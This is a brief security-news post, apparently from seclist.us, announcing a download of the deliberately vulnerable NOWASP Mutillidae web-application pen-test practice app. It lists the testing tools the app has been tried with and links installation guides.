• Mutillidae has been tested/attacked with Cenzic Hailstorm ARC, W3AF, SQLMAP, Samurai WTF, Backtrack, HP Web Inspect, Burp-Suite, NetSparker Community Edition, and other tools

Mutillidae: Quickstart guide to installing NOWASP Mutillidae on Windows with XAMPP

NOWASP Mutillidae: How to remove PHP errors after installing Mutillidae on Windows XAMP

Download : LATEST-mutillidae-2.6.36.zip (25.0 MB)
Find Other Version |
sources : NOWASP (Mutillidae)
Our post before : http://seclist.us/nowasp-mutillidae-ii-2-6-30-released-owasp-mutillidae-ii-web-pen-test-practice-application.html